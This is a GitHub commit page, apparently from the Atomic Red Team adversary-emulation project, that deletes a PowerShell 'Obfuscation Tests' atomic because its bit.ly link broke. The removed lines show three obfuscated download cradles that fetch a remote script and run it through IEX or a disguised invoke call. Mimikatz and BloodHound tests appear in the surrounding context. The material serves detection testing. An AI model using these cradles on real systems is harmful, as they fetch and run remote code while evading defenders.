Skip to content

Commit

Permalink
remove atomic w/broken bitly link (#2693)
Browse files Browse the repository at this point in the history
  • Loading branch information
clr2of8 authored Feb 21, 2024
1 parent 29f5edd commit af13a59
Showing 1 changed file with 0 additions and 12 deletions.
12 changes: 0 additions & 12 deletions atomics/T1059.001/T1059.001.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -60,18 +60,6 @@ atomic_tests:
cleanup_command: |
Remove-Item $env:Temp\*BloodHound.zip -Force
name: powershell
- name: Obfuscation Tests
auto_generated_guid: 4297c41a-8168-4138-972d-01f3ee92c804
description: |
Different obfuscated methods to test. Upon execution, reaches out to bit.ly/L3g1t and displays: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION"
supported_platforms:
- windows
executor:
command: |
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))
(New-Object Net.WebClient).DownloadFile('http://bit.ly/L3g1tCrad1e','Default_File_Path.ps1');[ScriptBlock]::Create((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_}))).InvokeReturnAsIs()
Set-Variable HJ1 'http://bit.ly/L3g1tCrad1e';SI Variable:/0W 'Net.WebClient';Set-Item Variable:\gH 'Default_File_Path.ps1';ls _-*;Set-Variable igZ (.$ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand.PsObject.Methods|?{$_.Name-like'*Cm*t'}).Name).Invoke($ExecutionContext.InvokeCommand.(($ExecutionContext.InvokeCommand|GM|?{$_.Name-like'*om*e'}).Name).Invoke('*w-*ct',$TRUE,1))(Get-ChildItem Variable:0W).Value);Set-Variable J ((((Get-Variable igZ -ValueOn)|GM)|?{$_.Name-like'*w*i*le'}).Name);(Get-Variable igZ -ValueOn).((ChildItem Variable:J).Value).Invoke((Get-Item Variable:/HJ1).Value,(GV gH).Value);&( ''.IsNormalized.ToString()[13,15,48]-Join'')(-Join([Char[]](CAT -Enco 3 (GV gH).Value)))
name: powershell
- name: Mimikatz - Cradlecraft PsSendKeys
auto_generated_guid: af1800cf-9f9d-4fd1-a709-14b1e6de020d
description: |
Expand Down

0 comments on commit af13a59

Please sign in to comment.